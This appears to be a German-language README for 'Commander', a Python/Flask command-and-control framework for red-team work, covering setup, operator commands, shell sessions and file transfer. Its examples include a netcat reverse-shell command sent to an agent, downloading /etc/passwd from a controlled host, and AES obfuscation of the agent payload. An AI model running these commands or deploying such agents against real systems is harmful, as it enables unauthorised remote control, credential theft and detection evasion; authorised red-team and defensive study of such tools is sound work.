
Python-basiertes Command-and-Control-Framework mit verschlüsselter TLS-Kommunikation, Unterstützung mehrerer Agents (Python/C), interaktiven Sitzungen, Dateiübertragung und AES-Verschleierung für Red-Team-Operationen.
Commander ist ein Command-and-Control-Framework (C2), das in Python, Flask und SQLite geschrieben ist. Es wird mit zwei Agents ausgeliefert, einem in Python und einem in C.
In ständiger Entwicklung
Nicht script-kiddie-freundlich
Python >= 3.6 wird zum Ausführen benötigt sowie die folgenden Abhängigkeiten:
Linux für admin.py und c2_server.py. (Für Windows nicht getestet)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Erstellen Sie zuerst die erforderlichen Zertifikate und Schlüssel:
# Wenn Sie Ihren Schlüssel mit einer Passphrase sichern möchten, lassen Sie -nodes weg
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes
Starten Sie zuerst das Modul admin.py, um eine lokale SQLite-Datenbankdatei zu erstellen:
python3 admin.py
Fahren Sie fort, indem Sie den Server starten:
python3 c2_server.py
Und zuletzt den Agenten. Im Fall des Python-Agenten können Sie ihn einfach ausführen, aber beim C-Agenten müssen Sie ihn zuerst kompilieren.
# Python-Agent
python3 agent.py
# C-Agent
gcc agent.c -o agent -lcurl -lb64
./agent
Standardmäßig laufen sowohl die Agents als auch der Server über TLS und Base64. Der Kommunikationspunkt ist auf 127.0.0.1:5000 gesetzt; falls ein anderer Punkt benötigt wird, sollte er in den Quelltextdateien der Agents geändert werden.
Als Operator/Administrator können Sie die folgenden Befehle verwenden, um Ihre Agents zu steuern:
Befehle:
task add arg c2-commands
Fügt einem Agenten, einer Gruppe oder allen Agenten eine Aufgabe hinzu.
arg: kann folgende Werte annehmen: 'all' 'type=Linux|Windows' 'your_uuid'
c2-commands: mögliche Werte sind c2-register c2-shell c2-sleep c2-quit
c2-register: Löst aus, dass sich der Agent erneut registriert.
c2-shell cmd: Nimmt einen Shell-Befehl entgegen, den der Agent ausführen soll. z.B. c2-shell whoami
cmd: Der auszuführende Befehl.
c2-sleep: Konfiguriert das Intervall, in dem ein Agent nach Aufgaben sucht.
c2-session port: Weist den Agenten an, eine Shell-Sitzung mit dem Server auf diesem Port zu öffnen.
port: Der Port, zu dem eine Verbindung hergestellt werden soll. Wenn nicht angegeben, wird standardmäßig 5555 verwendet.
c2-quit: Zwingt einen Agenten, sich zu beenden.
task delete arg
Löscht eine Aufgabe von einem Agenten oder allen Agenten.
arg: kann folgende Werte annehmen: 'all' 'type=Linux|Windows' 'your_uuid'
show agent arg
Zeigt Informationen für alle verfügbaren Agenten oder für einen bestimmten Agenten an.
arg: kann folgende Werte annehmen: 'all' 'type=Linux|Windows' 'your_uuid'
show task arg
Zeigt die Aufgabe eines Agenten oder aller Agenten an.
arg: kann folgende Werte annehmen: 'all' 'type=Linux|Windows' 'your_uuid'
show result arg
Zeigt den Verlauf/das Ergebnis eines Agenten oder aller Agenten an.
arg: kann folgende Werte annehmen: 'all' 'type=Linux|Windows' 'your_uuid'
find active agents
Löscht die Datenbank, sodass die aktiven Agenten sich erneut registrieren.
exit
Tschüss!
Sitzungen:
sessions server arg [port]
Steuert einen Sitzungshandler.
arg: kann folgende Werte annehmen: 'start', 'stop', 'status'
port: port ist optional für das start-Argument und standardmäßig 5555, falls nicht angegeben. Dieses Argument definiert den Port des Sitzungsservers.
sessions select arg
Wählt aus, an welcher Sitzung teilgenommen werden soll.
arg: der Index aus dem Ergebnis von 'sessions list'
sessions close arg
Schließt eine Sitzung.
arg: der Index aus dem Ergebnis von 'sessions list'
sessions list
Zeigt die verfügbaren Sitzungen an.
local-ls directory
Listet auf Ihrem Host die Dateien im ausgewählten Verzeichnis auf.
download 'file'
Lädt die 'Datei' lokal in das aktuelle Verzeichnis herunter.
upload 'file'
Lädt eine Datei in das Verzeichnis hoch, in dem sich der Agent gerade befindet.
Besondere Aufmerksamkeit sollte dem Befehl 'find active agents' gelten. Dieser Befehl löscht alle Tabellen und erstellt sie neu. Es mag erschreckend klingen, ist es aber nicht, zumindest glaube ich das :P
Die Idee hinter dieser Funktionalität ist, dass der C2-Server einen Agenten auffordern kann, sich erneut zu registrieren, falls er ihn nicht erkennt. Da wir also die Datenbank von ungenutzten alten Einträgen bereinigen und gleichzeitig alle aktuell aktiven Hosts finden möchten, können wir die Tabellen löschen und den Mechanismus zur erneuten Registrierung des C2-Servers auslösen. Siehe unten für den Mechanismus zur erneuten Registrierung.
Nachfolgend finden Sie ein normales Ablaufdiagramm.

Falls die Umgebung einen größeren Ausfall erleidet, wie z.B. eine beschädigte Datenbank oder einen anderen kritischen Fehler, wird der Mechanismus zur erneuten Registrierung aktiviert, damit wir die Verbindung zu unseren Agents nicht verlieren.
Genauer gesagt: Wenn wir die Datenbank verlieren, haben wir keine Informationen über die UUIDs, die wir empfangen, und können daher keine Aufgaben für sie festlegen usw. Die Agents werden weiterhin versuchen, ihre Aufgaben abzurufen, und da wir sie nicht erkennen, werden wir sie bitten, sich erneut zu registrieren, damit wir sie in unsere Datenbank aufnehmen und wieder steuern können.
Unten ist das Ablaufdiagramm für diesen Fall.

Um Ihre Umgebung einzurichten, starten Sie zuerst admin.py und dann c2_server.py und führen Sie den Agenten aus. Danach können Sie die verfügbaren Agents überprüfen.
# alle verfügbaren Agents anzeigen
show agent all
Um alle Agents anzuweisen, den Befehl "id" auszuführen, gehen Sie wie folgt vor:
# für alle Agents
task add all c2-shell id
# die Ergebnisse von "id" überprüfen
show result all
Um den Verlauf / die vorherigen Ergebnisse ausgeführter Aufgaben für einen bestimmten Agenten zu überprüfen, gehen Sie so vor:
# die Ergebnisse eines bestimmten Agenten überprüfen
show result 85913eb1245d40eb96cf53eaf0b1e241
Sie können auch das Intervall der Agents, in dem sie nach Aufgaben suchen, auf 30 Sekunden ändern:
# um es für alle Agents zu setzen
task add all c2-sleep 30
Um eine Sitzung mit einem oder mehreren Ihrer Agents zu öffnen, gehen Sie wie folgt vor:
# den Agenten / die UUID finden
show agent all
# den Server aktivieren, um Verbindungen anzunehmen
sessions server start 5555
# eine Aufgabe für eine Sitzung zu Ihrem bevorzugten Agenten hinzufügen
task add your_prefered_agent_uuid_here c2-session 5555
# eine Liste der verfügbaren Verbindungen anzeigen
sessions list
# auswählen, um an einer der Sitzungen teilzunehmen, z.B. 0 auswählen
sessions select 0
# einen Befehl ausführen
id
# die passwd-Datei lokal herunterladen
download /etc/passwd
# Ihre Dateien lokal auflisten, um zu überprüfen, dass passwd erstellt wurde
local-ls
# eine Datei (test.txt) in das Verzeichnis hochladen, in dem sich der Agent befindet
upload test.txt
# zur Haupt-CLI zurückkehren
go back
# überprüfen, ob der Server läuft
sessions server status
# den Sitzungsserver stoppen
sessions server stop
Wenn Sie aus irgendeinem Grund eine andere externe Sitzung wie mit netcat oder Metasploit ausführen möchten, gehen Sie wie folgt vor:
# alle verfügbaren Agents anzeigen
show agent all
# zuerst einen netcat auf Ihrem Rechner öffnen
nc -vnlp 4444
# eine Aufgabe zum Öffnen einer Reverse-Shell für einen bestimmten Agenten hinzufügen
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444
Auf diese Weise haben Sie eine 'unverwüstliche' Shell, die sofort wieder hochkommt, selbst wenn Sie getrennt werden. Nur die interaktiven Befehle werden sie dauerhaft zum Absterben bringen.
Der Python-Agent bietet Verschleierung mittels einer einfachen AES-ECB-Verschlüsselung und Base64-Kodierung.
Bearbeiten Sie die Datei obfuscator.py und ändern Sie den Wert von 'key' in einen 16 Zeichen langen Schlüssel, um eine benutzerdefinierte Nutzlast zu erstellen. Die Ausgabe des neuen Agenten finden Sie unter Agents/obs_agent.py.
Sie können ihn wie folgt ausführen:
python3 obfuscator.py
# und um den Agenten auszuführen, wie gewohnt
python3 obs_agent.py
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key
pip install pyinstaller
pyinstaller --onefile agent.py
Die Binärdatei finden Sie im dist-Verzeichnis.
Falls etwas fehlschlägt, müssen Sie möglicherweise Ihre Python- und Pip-Bibliotheken aktualisieren. Wenn es weiterhin fehlschlägt … nun ja, das Leben passiert.
Erstellen Sie bei jedem Einsatz neue Zertifikate.
Sichern Sie Ihre c2.db, es ist einfach … nur eine Datei.
Für die Tests wurde pytest verwendet. Sie können die Tests wie folgt ausführen:
cd tests/
py.test
Seien Sie vorsichtig: Sie müssen die Tests im tests-Verzeichnis ausführen, da sonst Ihre c2.db überschrieben wird und Sie Ihre Daten verlieren.
Um die Codeabdeckung zu überprüfen und einen schönen HTML-Bericht zu erstellen, können Sie dies verwenden:
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html
Haftungsausschluss: Dieses Tool ist ausschließlich als Proof-of-Concept-Demonstrationstool für autorisierte Sicherheitstests gedacht. Die Ausführung dieses Tools gegen Hosts, für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Sie sind für jegliche Probleme verantwortlich, die durch die Verwendung dieses Tools entstehen können.